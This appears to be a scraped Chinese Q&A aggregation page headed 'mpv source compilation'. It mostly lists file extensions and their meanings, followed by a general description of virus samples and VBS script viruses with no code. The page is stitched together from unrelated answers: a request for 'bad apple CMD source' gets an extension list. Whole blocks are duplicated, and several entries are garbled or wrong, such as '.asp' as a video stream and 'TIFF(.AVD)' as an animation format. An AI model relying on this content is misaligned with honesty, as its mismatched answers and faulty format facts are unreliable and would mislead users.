导航:首页 > 源码编译 > mpv源码编译

mpv源码编译

发布时间:2022-09-28 08:38:49

A. linux怎么安装mpv

可以用源码编译,也可以直接去下官网看对应的发行版的包,或者直接在终端输入安装命令,比如我用的是Ubuntu trusty-lts,就直接按照普通的apt-get方式,反正社区有package,但是版本貌似挺低的,反正不太在Linux下娱乐,无所谓。。。可以打开url,格式直接看官网的介绍,或者终端打mpv也有提供格式,没有GUI的麻烦在于得去记一条条命令,配置啊等等

B. 文件类型一共又多少种 后缀又有多少

文件的后缀有很多,不同的软件有不同的文件后缀.

★什么是文件的后缀名
说起来Windows工作界面下的文件名简直是随心所欲,比如:某编辑部的2000年工作计划。文件名即可用中文直接表达,而且长度最长可达256个字符,让人看起来真是一目了然。然而在Windows环境中,安装的软件中却大量存在着类似CALENDAR.EXE、GAMES.GRP等等的文件名,这又是为什么呢?原来这些文件名都是根据DOS环境的文件名命名规则而定的。

★DOS环境下的文件后缀名
在DOS下,文件名采用8+3结构,即:最长8位的文件名,由小数点分隔后再跟上最长3位的后缀名,如:READ.ME、SETUP.EXE,一般情况下文件名不允许使用汉字,只能由字母、数字和一些符号组成。如READ.ME用中文理解就是"读我",即提示用户在使用软件前先看看这个文件的内容,以获取更多的提示信息。而更重要的是,DOS下规定用后缀名来区分各种不同的文件。
在DOS下最容易遇到的首先是可执行文件,后缀名有两类:*.exe、*.com(此处的*表示文件名任意),它们是由汇编语言或其它高级语言编出的程序经过编译后直接在DOS下运行的文件。有时由于软件功能多、内存偏小,不能一次性全部调入内存还可能有同文件名的ovl文件,如ws.exe、ws.ovl。另外还有一种文件可以直接运行,*.bat,即批处理文件:其中有许多命令或可执行文件名,主要用于提高工作效率;最有用的是Autoexec.bat,这个文件在开机时会被自动执行(自动执行在英文中就是Automatically execute)。而另外一种可以加载但不能直接运行的文件即是系统扩展管理文件*.sys(sys即系统system):它主要提供某些非标准设备如鼠标、扩充内存等的驱动程序,如mouse.sys、himem.sys。为了统一管理还专门规定了一个config.sys的文本文件来一次性地在开机时自动调入这些必需的设备驱动程序,这些文件一旦被误删或换名或被病毒侵袭则将直接导致系统工作不正常。
DOS下字处理产生的文件原本是可以不用后缀的,但人们常用*.txt表示(txt即文本text)。被所有的平台和所有应用程序支持。而为了管理方便,人们也可以用自己的名字做后缀来表示是自己建的文本文件,如我输入的很多文章即为*.mcj,为了便于用户在意外删掉原文件的情况下能尽快恢复原文件,许多字处理系统都提供了一种自动备份的功能,如我第二次编辑JIHUA.MCJ时(JIHUA:计划的汉语拼音),系统会先拷贝一份原文件为JIHUA.BAK。使用具有特殊格式功能的字处理软件,如求伯君先生早年推出的WPS,就会规定其后缀为.wps,用以标识是用WPS生成的文本文件。当使用字处理软件编辑高级语言程序时,后缀通常为相应语言的前三个字母(如:*.BAS即BASIC语言源程序,*.PAS为PASCAL语言程序,*.FOR为Fortran语言程序,*.C即为C语言,*.ASM即为汇编语言程序)。
伴随着可执行文件常附有以下几类文件:*.HLP即帮助文件(help)、*.CFG即配置文件(config)、*.DAT即数据文件(data)、*.LOG即日志文件(log)、*.TMP为临时文件(temporal)。

★Windows环境下的文件后缀名
绝大多数DOS文件名后缀在Windows下继续有效,但Windows本身也引出了许多种崭新的后缀名,如:*.drv为设备驱动程序(Driver)、*.fon和*.fot都是字库文件、*.grp为分组文件(Group)、*.ini为初始化信息文件 (Initiation)、*.pif为DOS环境下的可执行文件在Windows下执行时所需要的文件格式、*.crd即卡片文件(Card)、*.rec即记录器宏文件(Record)、*.wri即文本文件(Write),它是字处理write.exe生成的文件、*.doc和*.rtf也是文本文件(Document),它们是Word产生的文件、*.cal为日历文件、*.clp是剪贴板中的文件格式、*.htm和*.html即主页文件、*.par为交换文件、*.pwl为口令文件(Password)等等。

★图像文件的后缀名
进入多媒体世界后,大家会看到各种各样精彩的图片,会发现许多种后缀名。的确,由于各个公司在开发图形有关的软件时都自制标准,导致今日在图形方面有太多的格式,以下就是常见的几种格式:
首先是一种位图文件格式,它是一组点(像素)组成的图像,它们由图像程序生成或在扫描图像时创建。主要有Windows位图(.BMP):由Microsoft公司开发,它被Windows和Windows NT平台及许多应用程序支持。支持32位颜色,用于为Windows界面创建图标的资源文件格式,光标(.CUR、.DLL、.EXE):资源文件格式,用于创建Windows界面的光标。OS/2位图(.BMP):Microsoft公司和IBM开发的位图文件格式。它为各种操作系统和应用程序所支持。支持压缩,最大的图像像素为64000×64000。画笔(.PCX):由Zsoft公司推出,它对图像数据也进行了压缩,可由PCX生成。用于Windows的画笔。支持24位颜色,最大图像像素是64000×64000。支持压缩。图形交换格式:
Graphics Interchage format(.GIF):由Compu Serve创建,它能以任意大小支持图画,通过压缩可节省存储空间,还能将多幅图画存在一个文件中。支持256色,最大图像像素是64000×64000。
Kodak Photo CD(.PCD):Eastman Kodak所开发的位图文件格式,被所有的平台所支持,PCD支持24位颜色,最大的图像像素是2048×3072,用于在CD-ROM上保存照片。
Adobe Photoshop(.PSD):Adobe Photoshop的位图文件格式,被Macintosh和MS Windows平台所支持,最大的图像像素是30000×30000,支持压缩,广泛用于商业艺术。
Macintosh绘画(.MAC):Apple公司所开发的位图文件格式。被Macintosh平台所支持,仅支持单色原图,最大图像像素是576×720。支持压缩,主要用于在Macintosh图形应用程序中保存黑白图形和剪贴画片。

★动画文件的后缀名
动画文件格式用于保存包含动画框架中的图形信息。主要有:Autodesk FLIC(.FLC):即.FLI,Autodesk Animator和AnimatorPro的动画文件格式。支持256色,最大的图像像素是64000×64000,支持压缩。广泛用于动画图形中的动画序列、计算机辅助设计和计算机游戏应用程序。不大适合制作真实世界图像动画。
MacPICTS(.PCS,.PIC):Macromedia开发的动画文件格式,为Macintosh应用程序使用。支持256色,支持压缩,用于保存动画数据,是Quick Time的前身。
Microsoft资源互换文件格式,TIFF(.AVD):Microsoft公司开发的动画文件格式,被Windows、Windows NT平台和OS/2多媒体应用程序所支持,支持256色和压缩,用于在多媒体应用程序中保存音频、视频和图形信息。
MPEG(.MPEG):国际标准化组织的运动图像专家小组开发的动画文件格式。被所有平台和Xing Technologies MPEG播放器及其它应用程序所支持,支持压缩,最大图像像素是4095×4094×30帧/每秒。用于编码音频、视频、文本和图形数据。
Quick Time(.QTM):Apple计算机公司开发的动画文件格式。被Apple Macintosh和Microsoft Windows平台所支持,支持25位颜色,最大图像像素是64000×64000,支持压缩,用于保存音频和运动视频信息。

★声音文件的后缀名
声音文件格式是用于保存数字音频信息的。它们主要有:
AIFF(.AIF):这是Apple计算机公司开发的声音文件格式,被Macintosh平台和应用程序所支持。支持压缩。
Amiga声音(.SVX):Commodore所开发的声音文件格式,被Amiga平台和应用程序所支持,不支持压缩。
MAC声音(.SND):Apple计算机公司开发的声音文件格式,被Macintosh平台和多种Macintosh应用程序所支持,支持某些压缩。
MIDI(.MID):国际MIDI协会开发的声音文件格式,被Windows平台和许多应用程序所支持,用于为乐器创建数字声音。
声霸(.VOC):Creative Labs公司开发的声音文件格式,被Windows和DOS平台所支持,支持压缩。
WAVE(.WAV):微软公司用作Windows平台上保存音频信息的资源格式。

★压缩文件的后缀名
为了提高存储效率,许多公司都推出了压缩数据的方法和相应的软件,这类文件的使用主要通过压包和解包软件来进行,主要的后缀有:*.zip、*.arj、*.rar、*.lzh、*.jar。还有一些专用的压缩文件,如:*.ex_、*.dl_、*.d3_、*.cab等。

★数据库类文件的后缀名
在Dbase、FoxBase、Foxpro系列软件的环境下有以下几类后缀:
.ap 生成应用 .app 应用文件
.cbx和.pjt 标签文件 .cdx和.idx 索引文件
.dbf 数据库文件(databasefile) .err 编译错误文件
.fky 键宏文件 .fp 配置文件
.fpt 备注字段文件 .frx和.frt 报表文件
.fxp 编译后的程序
.mnx 和.mnt 菜单文件 .men 内存应用
.pcb 库文件 .pjx和.pjt 工程文件
.prg 命令文件(即程序Program)
.qpr和.qpx SQL查询文件 .scx和.sct 屏幕文件
.tbk 临时数据库文件 .tmp 临时文件
.win 窗口文件

★可安全删除的文件类型
临时文件:*.tmp,*.syd,*.$$$,*.@@@,*._mp,*.gid,*.~*,*.gts
备份文件:*.bak,*.old,*.wbk,*.xlk,*.ckr_
帮助文件:*.hlp、*.chm、*.cnt

★后记
用户要注意在不同的操作系统下,后缀名的约定会有所不同,如在Unix下,*.p代表Pascal语言程序,*.z代表压缩文件,*.tar代表归档文件。另外,针对极特殊的设备,其驱动程序也会有特殊的后缀,如3DS显示卡的驱动程序是*.exp。还有某些公司针对自己的产品也规定了文件名后缀,如方正公司的图像排版文件规定用*.grh(即Graph)。
文件名的后缀代表着某一种类型的文件,一般会由某一种特定的软件产生和处理。只有对这些后缀名的知识有一定的了解,才能在上机的过程中知道其所以然。这儿带着大家看到了常见的一些后缀类型,实际上还有很多类型,不可能全部讲完。常言说,师傅领进门,修行在个人,以后大家在计算机世界中自己转着看吧。

★常见的文件后缀名
.ACA:Microsoft的代理使用的角色文档
.acf:系统管理配置
.acm:音频压缩管理驱动程序,为Windows系统提供各种声音格式的编码和解码功能
.aif:声音文件,支持压缩,可以使用Windows Media Player和QuickTime Player播放
.AIF:音频文件,使用Windows Media Player播放
.AIFC:音频文件,使用Windows Media Player播放
.AIFF:音频文件,使用Windows Media Player播放
.ani:动画光标文件扩展名,例如动画沙漏。
.ans:ASCII字符图形动画文件
.arc:一种较早的压缩文件,可以使用WinZip,WinRAR,PKARC等软件打开
.arj:压缩文件。可以使用WinZip,WinRAR,PKARC等软件打开
.asf:微软的媒体播放器支持的视频流,可以使用Windows Media Player播放
.asp:微软的视频流文件,可以使用Windows Media Player打开
.asp:微软提出的Active Server Page,是服务器端脚本,常用于大型网站开发,支持数据库连接,类似PHP。可以使用Visual InterDev编写,是目前的大热门
.asx:Windows Media 媒体文件的快捷方式
.au:是Internet中常用的声音文件格式,多由Sun工作站创建,可使用软件Waveform Hold and Modify 播放。Netscape Navigator中的LiveAudio也可以播放.au文件
.avi:一种使用Microsoft RIFF规范的Windows多媒体文件格式,用于存储声音和移动的图片
.bak:备份文件,一般是被自动或是通过命令创建的辅助文件,它包含某个文件的最近一个版本,并且具有于该文件相同的文件名

.bas Basic:语言源程序文件,可编译成可执行文件,目前使用Basic开发系统的是Visual Basic

.bat:批处理文件,在MS-DOS中,.bat文件是可执行文件,有一系列命令构成,其中可以包含对其他程序的调用

.bbs:电子告示板系统文章信息文件

.bfc:Windows的公文包文件

.bin:二进制文件,其用途依系统或应用而定

.bmp:Bitmap位图文件,这是微软公司开发Paint的自身格式,可以被多种Windows和Windows NT平台及许多应用程序支持,支持32位颜色,用于为Windows界面创建图标的资源文件格式。

.c:C语言源程序文件,在C语言编译程序下编译使用

.cab:Microsoft制订的压缩包格式,常用于软件的安装程序,使用Windows自带的实用程序,Extract.exe可以对其解压缩,WinZip,WinRAR等都支持这种格式

.cal:Windows 中的日历文件

.cdf:Internet Explorer的频道文件

.cdr:CorelDraw中的一种图形文件格式,它是所有CorelDraw应用程序中均能够使用的一种图形图像文件格式

.cdx:索引文件,存在于Dbase,Foxbase,Foxpro系统软件环境下

.cfg:配置文件,系统或应用软件用于进行配置自己功能,特性的文件

.chm:编译过后的HTML文件,常用于制作帮助文件和电子文档

.clp:在Windows下剪贴板中的文件格式

.cmd:用于Windows NT/2000的批处理文件,其实与BAT文件功能相同,只是为了与DOS/Windows 9x下的BAT有所区别

.cmf:声卡标准的音乐文件,FM合成器等可以回放

.cnf:NetMeetting会议连接文件

.cnt:联机帮助文件目录索引文件,通常和同名的.hlp文件一起保存

.col:由Autodesk Animator,Autodesk Animator Por等程序创建的一种调色板文件格式,其中存储的是调色板中各种项目的RGB值

.com:DOS可执行命令文件,一般小于64KB

.cpl:控制面板扩展文件,Windows操作系统使用

.cpp:C++语言源程序,非常强大的语言,在各种平台中都有相应的开发系统
.crd:Windows中的卡片文件
.crt:用于安全方面的证书认证文件
.cur:Windows下的光标资源文件格式,可用光标编辑软件编辑
.css:Text/css文件

.dat:数据文件,在应用程序中使用
.dat:VCD中的图象声音文件,VCD播放软件可调用,或是通过VCD机播放
.dbf:数据库文件,Foxbase,Dbase,Visual FoxPro,等数据库处理系统所产生的数据库文件

.dcx:传真浏览文档文件
.ddi:映象文件,DUP,HD,IMG等工具可展开
.dev:设备驱动程序
.dib:设备无关位图文件,这是一种文件格式,其目的是为了保证用某个应用程序创建的位图图形可以被其它应用程序装载或显示一样

.dir:目录文件

.dll:Windows动态连接库,几乎无处不在,但有时由于不同版本DLL冲突会造成败各种各样的问踢

.doc:是目前市场占有率最高的办公室软件Microsoft Office中的字处理软件Word创建的文档

.dos:Windows保留的MS-DOS的某些系统文件

.dot:Microsoft Word的文档模板文件,通过模板可以简化一些常用格式文档的创建工作,而且可以内嵌VBA程序来实现某些自动化功能

.drv:设备驱动程序文件,用在各种系统中

.dwg:AutoCAD的图纸文件,也是许多绘图软件都支持的格式,常用于共享数据

.dxb:AutoCAD创建的一中图形文件格式

.dxf:图形交换格式,一种计算机辅助设计的文件格式,最初开发用来与AutoCAD一起使用,以便于图形文件在应用程序之间的传递,它以ASCII方式储存图形,在表现图形的大小方面十分精确

.der:Certiticate文件

.dic:Txt文件

.emf:由Microsoft公司开发的Windows 32位扩展图元文件格式,其总体设计目标是要弥补在Microsoft Windows 3.1(Win16)中用的*.wmf文件格式的不足,使得图元文件更加易于使用

.eps:用PostScript语言描述的一种图形文件格式,以文本文件保存,在PostScript图形打印机上能打印出高品质的图形图象,最高能表示32位图形图象

.err:编译错误文件,存在于Dbase,Foxbase,Foxpro系列软件环境下
.exe:可执行文件,虽然后缀名相同,但具有不同的格式和版本
.exp:3DS使用的显示卡驱动程序
.exc:Txt文件

.flc:Autodesk Animator和Animatorpro的动画文件,支持256色,最大的图象象索是64000*64000,支持压缩,广泛用于动画图形中的动画序列,计算机辅助设计和计算机游戏应用程序

.fnd:保存的搜索结果
.fon:点阵字库文件
.for:Fortran语言程序
.fot:指向字体的快捷键
.fp: 配置文件,存在于Dbase,Foxbase,Foxpro系列软件的环境下
.fpt:备注字段文件,存在于Dbase,Foxbase,Foxpro系列软件的环境下
.frt:报表文件,存在于Dbase,Foxbase,Foxpro系列软件的环境下
.frx:报表文件,存在于Dbase,Foxbase,Foxpro系列软件的环境下
.fxp:编译后的程序,存在于Dbase,Foxbase,Foxpro系列软件的环境下

.gif:在各种平台的各种图形处理软件上均能够处理的,经过压缩的一种图形文件格式

.grh:方正公司的图象排版文件
.grp:Windows下的程序管理器产生的组窗口文件
.goc:Gocserve
.gra:MSGraph.Chart.5
.h: C语言源程序头文件
.hlp:Windows应用程序帮助文件

.hqx:Macintosh中使用BinHex将二进制文件编码为7位的文本文件,大多数Macintosh文件皆以.hqx出现(.bin极少使用),在Macintosh中,可使用StuffIt Expander对.hqx解码,在Windows中可使用BinHex 13解码

.ht: 超级终端

.htm:保存超文本描述语言的文本文件,用于描述各种各样的网页,使用各种浏览器打开

.html:同.htm文件
.icm:图象配色描述文件

.ico:Windows中的图标文件,可以包含同一个图标的多种格式,使用图标编辑软件创建

.idf:MIDI乐器定义
.idx:索引文件,存在于Dbase,Foxbase,Foxpro系列软件的环境下

.iff:文件交换格式文件,这种文件格式多用于Amiga平台,在这种平台上它几乎可以存储各种类型的数据,在其它平台上,IFF文件格式多用于存储图象和声音文件

.image:MAcintosh磁盘映象文件,常见于萍果机的FTP网点,在Macintosh中由Shrink Wrap处理

.ime:Windows下的输入法文件

.img:磁盘映象文件,用HD-COPY,WinImage等工具打开后可以恢复到一张磁盘上

.inc:汇编语言包含文件,类似C/C++中的.H文件

.inf:Windows下的软件安装信息,Windows的标准安装程序根据此文件内的安装信息对软件,驱动程序等进行安装

.ini:Windows中的初始化信息文件,已经用的不多了,新的应用程序将设置保存在系统的注册表中

.jar:一种压缩文件,ARJ的新版本,不过不太流行,可以使用WinJar,Winrar等打开

.jpeg:一种图片压缩文件,同.jpg
.jpg:静态图象专家组制订的静态图象压缩标准,具有很高的压缩比,使用非常广泛,可使用PhotoShop等图象处理软件创建
.lnk:快捷方式,这个文件指向另一个文件,开始菜单的程序文件夹下每条项目都是一个LNK文件
.log:日志文件,通常用来记录一些事件之类
.lzh:一种古老的压缩文件,可以使用WinRAR打开
.mac:Macintosh中使用的一中灰度图形文件格式,在Macintosh Paintbrush中使用,其分辨率只能是720*567
.mag :图形文件格式
.mdb :Microsoft Access使用的数据库格式,是非常流行的桌面数据库
.men :内存应用文件,存在于Dbase,Foxbase,Foxpro系列软件的环境下
.mid :音频压缩文件,曾经非常流行,不过在现在的软件中用的很少了
rle :一种压缩过的位图文件格式,RLE压缩方案是一种极其成熟的压缩方案,特点是无损失压缩,既节省了磁盘空间又不损失任何图像数据,但在打开这种压缩文件时,要花费更多时间,此外,一些兼容性不太好的应用程序可能会搭不开
.rm :Windows下的RealPlayer所支持的视频压缩文件,网上非常流行的流式视频文件,很多实时视频新闻等都是采用这种格式的,不过,最新的Windows Media Video V8已经对其发起了强大的攻势
.rmi :MIDI音序文件
.rtf :丰富文本格式文件,以纯文本描述内容,能够保存各种格式信息,可以用写字版,Word等创建
.sav :存档文件
.scp :用于Windows系统中Internet拨号用户,自动拨号登录用的脚本文件,可避免手动登录时繁琐的键盘输入
.scr :屏障保护文件
.sct :屏幕文件
.scx :屏幕文件
.set :Microsoft备份集文件,用于保存要备份的内容,设置等信息
.shb :指向一个文档的快捷方式
.snd :Mac声音文件,Apple计算机公司开发的声音文件格式,被Macintosh平台和多种Macintosh应用程序所支持,支持某些压缩
.sql:查询文件,在Dbase,Foxbase,Foxpro系列软件的环境下使用
.svg :SVG可以算是目前最火热的图像文件格式了,它是基于XML由WorldWideWebConsortium联盟开发的,SVG是可缩放的矢量图形
.svx :Amiga声音文件,Commodore所开发的声音文件格式,被Amiga平台和应用程序所支持,不支持压缩
.swf :flash是Micromedia公司的产品,严格说它是一种动画编辑软件,实际上它是制作出一种后缀名为.swf的动画,这种格式的动画能用比较小的体积来表现丰富的多媒体形式,并且还可以与HTML文件达到一种"水乳交融"的境界
.swg:虚拟内存交换文件,由操作系统使用
.sys:系统文件,驱动程序等,在不同的操作系统中有不同的定义

.mif :MIDI乐器
.mov :使用Apple's QuickTime格式的电影文件,在Macintosh中由Sparkle,FastPlayer,MoviePlayer等软件播放,在Windows中可由Quicktime播放
.movie :QuickTime或苹果机的影视格式,在Macintosh中由Sparkle,FastPlayer,MoviePlayer等软件播放,在Windows中可由QuickTime播放
.mp3 :采用MPEG-1 Layout 3标准压缩的音频文件,是网上主要的压缩音频文件,这种文件由于具有极高的压缩率和失真低的特点,是目前音乐盗版的主要文件格式,但目前受到VQF,WMA等新标准的挑战
.mpg :采用MPEG-1标准压缩的视频文件,与VCD使用的格式非常相近,提供CD质量的音频信号和320*240的视频分辩率,目前的媒体播放软件大都能放,Microsoft的WMV8和MPEG-4压缩的AVI文件是其强大的竞争对手
.mpt :Macintosh中使用的一种图形文件格式
.msg :Microsoft邮件文档
.obj :对象代码
.ovl :由于软件功能多,内存偏小,不能一次性全部调入内存的可执行文件可能有同文件名的ovl文件
.pcd :位图文件,由Eastman Kodak开发,被所有的平台所支持,PCD支持24位颜色,最大的图象像索是2048*3072,用于在CD-ROM上保存图片
.pcs :动画文件,是Macromedia开发的动画文件格式,为Macintosh应用程序使用,支持压缩,支持256色,用于保存动画数据,是Quick Time的前身
.pcx :图像文件,PCX格式是ZSOFT公司在开发图像处理软件Paintbrush是开发的一种格式,这是一种经过压缩的格式,占用磁盘空间较少
.pdf :图文多媒体文件,Adobe公司定义的电子印刷品文件格式,它是一种事实上的标准,在Internet网上的很多电子印刷品,都是.pdf格式的
.psd :是PhotoShop中使用的一种标准图形文件格式,能够保存图像数据的每一个细小部分,包括层,附加的蒙版通道以及其他内容
.pwl :Windows下的口令文件
.qt :Machintosh 的QuickTime影视格式,在Macintosh中由Sparkle,FastPlayer,MoviePlayer等软件播放,在Windows中可由Quicktime播放
.qtm :动画文件,这种文件格式是由Apple计算机公司开发,被Apple Macintosh和Microsoft Windows平台所支持,支持25位颜色,最大图像分辩率是64000*64000,支持压缩,用于保存音频和运动视频信息
.rec :Windows下的记录器宏文件
.reg :Windows 95/98的系统及应用程序注册文件,这种文件虽然以纯文本文件保存,但一样存在版本问题,不同的操作系统使用的REG文件版本是不同的
.rle :一种压缩过的位图文件格式,RLE压缩方案是一种极其成熟的压缩方案,特点是无损失压缩,既节省了磁盘空间又不损失任何图像数据,但在打开这种压缩文件时,要花费更多时间,此外,一些兼容性不太好的应用程序可能会搭不开
.rm :Windows下的RealPlayer所支持的视频压缩文件,网上非常流行的流式视频文件,很多实时视频新闻等都是采用这种格式的,不过,最新的Windows Media Video V8已经对其发起了强大的攻势
.rmi :MIDI音序文件
.rtf :丰富文本格式文件,以纯文本描述内容,能够保存各种格式信息,可以用写字版,Word等创建
.sav :存档文件
.scp :用于Windows系统中Internet拨号用户,自动拨号登录用的脚本文件,可避免手动登录时繁琐的键盘输入
.scr :屏障保护文件
.sct :屏幕文件
.scx :屏幕文件
.set :Microsoft备份集文件,用于保存要备份的内容,设置等信息
.shb :指向一个文档的快捷方式
.snd :Mac声音文件,Apple计算机公司开发的声音文件格式,被Macintosh平台和多种Macintosh应用程序所支持,支持某些压缩
.sql:查询文件,在Dbase,Foxbase,Foxpro系列软件的环境下使用
.svg :SVG可以算是目前最火热的图像文件格式了,它是基于XML由WorldWideWebConsortium联盟开发的,SVG是可缩放的矢量图形
.svx :Amiga声音文件,Commodore所开发的声音文件格式,被Amiga平台和应用程序所支持,不支持压缩
.swf :flash是Micromedia公司的产品,严格说它是一种动画编辑软件,实际上它是制作出一种后缀名为.swf的动画,这种格式的动画能用比较小的体积来表现丰富的多媒体形式,并且还可以与HTML文件达到一种"水乳交融"的境界
.swg:虚拟内存交换文件,由操作系统使用
.sys:系统文件,驱动程序等,在不同的操作系统中有不同的定义
.tbk:临时数据库文件,在Dbase,Foxbase,Foxpro系列软件的环境下使用
.tga:图像文件,此文件格式的结构比较简单,属于一种图形,图像数据的通用格式,在多媒体领域有着很大影响,是计算机生成图像向电视转换的一种首选格式
.tiff:图像文件,此图像格式复杂,存储内容多,占用存储空间大,其大小是GIF图像的3倍,是相应的JPEG图像的10

C. 求bad apple CMD源代码!

386 Windows虚拟设备驱动程序 CDX 复合索引文件 ABC ASCII编码格式文件 CFG 配置文件,包含系统设备和环境信息 ACM 音频压缩管理驱动程序 CGM Paint Shop Pro映象文件 ACT 文档向导 CHK 被CHKDSK/F命令恢复的由丢失的簇组成的文件 ADF 系统管理配置 CLP 剪贴板文件 AIF 声音格式文件 CMD 命令文件 AIO 由APL文件转换成的格式文件 CNF 配置文件,包含设备配置的有关信息 ANI 动画鼠标光标 CNT 帮助内容 APL APL工作区格式文件 COB COBOL语言源程序文件 APP 应用文件 COM DOS命令文件 ARC 压缩文件 CPI 代码字符集信息文件 ARJ 压缩文件 CPL 控制面板应用程序 ART 图像文件 CPP C/C++程序源文件 ASC ASC文本文件 CPT Macintosh Compact Pro文件库 ASM MASM汇编语言源程序文件 CRD WINDOWS卡片 AU 声音文件 CRF 交叉汇编文件,由MASM编译器产生的程序列表 AVI Windows视频文件 CRT INTERNET安全证书 AWD 传真浏览文件 CSV 命令分割数据 AWP 传真关键浏览器 CTL 控制文件 AWS 传真签名浏览器 CUR 鼠标光标资源文件 BAD 错误文件 CUT Paint Shop Pro映象文件 BAK 备份文件 DAT 数据文件,包含程序中需处理或产生的一批数据 BAS BASIC语言源程序文件 DB dBASE或FoxBASE配置文件,包含运行环境的参数 BAT DOS批处理文件 DBC 数据库 BCM WORKS通讯文件 DBF FoxBASE或FoxPro数据库索引 BDB WORKS数据库文件 DBS 数据库 BFC 公文包 DBT 备注文件 BIN 二进制文件 DCT 字典文件 BMP WINDOWS位图文件 DCX 传真浏览文档或数据库索引 C C语言源程序文件 DDI 压缩文件 CAB WINDOWS安装程序 DEF 模式定义文件 CAL WINDOWS日历文件 DER Internet安全证书 CDA CD音轨文件 DEV 设备驱动文件,包含安装新设备时所需的参数 CDR Paint Shop Pro映象文件 DGS 设备诊断文件 MDB 扩展的浏览器 PCX 图形数据文件 MEM FOXBASE内存变量文件 PDR 口驱动程序 MID MIDI序列 PF ICM描述文件 MIF MIDI乐器 PFM 打印机字形组合文件 MIV MCC访问The Microsoft Network的快捷方式 PFO FORTRAN语言预编译文件 MLV 电影剪辑 PGM 样本或演示文件 MMF MICROSOFT邮件 PIC 图形数据文件 MMM 动画 PIF 程序信息文件 MNF 已存的MSN搜索 PIX 图形数据文件 MNT 菜单备注 PJT 项目备注 MNU 菜单数据文件,包含有关菜单的定义 PJX 项目 MNX 表单 POT POWERPOINT模板 MOV 影片剪辑 PPD POSTSCRIPT打印机描述 MPA 运动图形压缩格式文件 PPT 图片文件 MPD 驱动程序 PRG FOXBASE或FOXPRO过程或程序文件 MPE 运动图形压缩格式文件 PRJ 设计数据文件 MPG 运动图形压缩格式文件 PRN 打印格式文件 MPR 生成的菜单程序 PRO 说明文件 MPV 媒体剪辑 PRT 打印机格式 MPX 编译后的菜单程序 PS 用于POSTSCRIPT的文档 MSG 信息文件 PST MICROSOFT邮件 MSN MICROSOFT网络中心 PUB 通讯用公钥文件 MSP WINDOWS画笔图像 PWL 口令列表 NAV MSN应用程序 PX 原始索引文件 NDX DBASE或FOXBASE索引数据文件 QIC MICROSOFT程序的备份集 NED MSN应用程序 QPR 生成的查询程序 NET 网络配置文件 QPX 编辑后的查询程序 NIS 自然语言服务驱动程序 QT 影片剪

D. 常见的文件类型有哪几种

常见的文件类型有5类,具体如下:

1、文本文件类型。

文本文件类型:包括ASCII、MIME、.txt等格式。

(1)ASCII标准使得只含有ASCII字符的文本文件可以在Unix、Macintosh、Microsoft Windows、DOS和其它操作系统之间自由交互。

(2)文本文件在MIME标准中的类型为“text/plain”,此外,它通常还附加编码的信息。在Mac OS X出现前,当Resource fork指定某一个文件的类型为“TEXT”时,Mac OS就认为这个文件是文本文件。

(3).txt是包含极少格式信息的文字文件的扩展名。.txt格式并没有明确的定义,它通常是指那些能够被系统终端或者简单的文本编辑器接受的格式。

2、视频文件格式类型。

视频文件格式有不同的分类,如:

(1)微软视频 :wmv、asf、asx。

(2)Real Player :rm、rmvb。

(3)MPEG视频 :mp4。

(4)手机视频 :3gp。

(5)Apple视频 :mov、m4v。

(6)其他常见视频:avi、dat、mkv、flv、vob等。

3、音频文件格式类型。

音频文件格式类型:包括Wave、AIFF、Audio、MPEG、RealAudio、MIDI等格式。

(1)Wave格式是微软公司开发的一种声音文件格式,它符合PIFF(Resource Interchange File Format) 文件规范,用于保存WINDOWS平台的音频信息资源,被WINDOWS平台及其应用程序所支持。

(2)AIFF是音频交换文件格式的英文缩写,是苹果计算机公司开发的一种音频文件格式。

(3)Audio文件是Sun Microsystems公司推出的一种经过压缩的数字音频格式,是Internet中常用的声音文件格式。

(4)MPEG(Moving Picture Experts Group,动态图像专家组)代表运动图像压缩标准,这里的音频文件格式指的是MPGE标准中的音频部分。

(5)RealAudio文件是RealNetworks公司开发的一种新型流式音频(Streaming Audio)文件格式,它包含在RealNetworks公司所制定的音频、视频压缩规范RealMedia中,主要用于在低速率的广域网上实时传输音频信息。

(6)MIDI(Musical Instrument Digital Interface,乐器数字接口)是数字音乐/合成乐器的统一国际标准,它定义了计算机音乐程序、合成器以及其他电子设备交换音乐信号的方式。

4、图片文件格式类型。

图像格式即图像文件存放的格式,通常有JPEG、TIFF、RAW、BMP、GIF、PNG等。由于数码相机拍下的图像文件很大,储存容量却有限,因此图像通常都会经过压缩再储存。

5、可执行文件格式类型。

可执行文件 (executable file) 指的是可以由操作系统进行加载执行的文件。在不同的操作系统环境下,可执行程序的呈现方式不一样。在windows操作系统下,可执行程序可以是 .exe文件 .sys文件 .com等类型文件。

E. [250分的问题]关于病毒样本和病毒分析和病毒分析工具、方法

1病毒样本要从哪里来
就病毒代码的存在形式来说,有两种,一种是病毒自身是个独立的程序文件,另一种是它附着在正常的程序文件上,即所谓的感染,所以,病毒样本其实就是指怀疑为病毒或染毒的文件
不过实际上,病毒程序并不一定象你说的那样清清楚楚的有个主程序,现在的病毒木马,都是几个程序文件组成,相互保护、相互调用运行,它们都是病毒样本
病毒的发作状态,有些是能察觉出来的,比如:增加了进程、电脑速度或网速变慢、系统运行报错等等,有些病毒发作时,几乎没有外在表现,很隐蔽
病毒其实就是一段程序,一是一,二是二,一点也不可怕和神秘,只要不运行它,它就是死的,非常安全,如果你怕在提取过程中误运行了病毒,可以把病毒程序文件的扩展名改一下,改为不可被执行或被直接打开的扩展名即可,或根本就不要扩展名,这样在拷贝、传输过程中就非常安全了

2要怎么分析
(1)http://www.qiker.com/jiaocheng/hei6/%B2%A1%B6%BE%D0%C5%CF%A2/vir00041.htm(病毒分析祥解)
(2)一、Vbs脚本病毒的特点及发展现状
VBS病毒是用VB Script编写而成,该脚本语言功能非常强大,它们利用Windows系统的开放性特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,功能非常强大。应该说病毒就是一种思想,但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点:
1.编写简单,一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。
2.破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃,网络发生严重阻塞。
3.感染力强。由于脚本是直接解释执行,并且它不需要像PE病毒那样,需要做复杂的PE文件格式处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文件,并且自我的异常处理变得非常容易。
4.传播范围大。这类病毒通过htm文档,Email附件或其它方式,可以在很短时间内传遍世界各地。
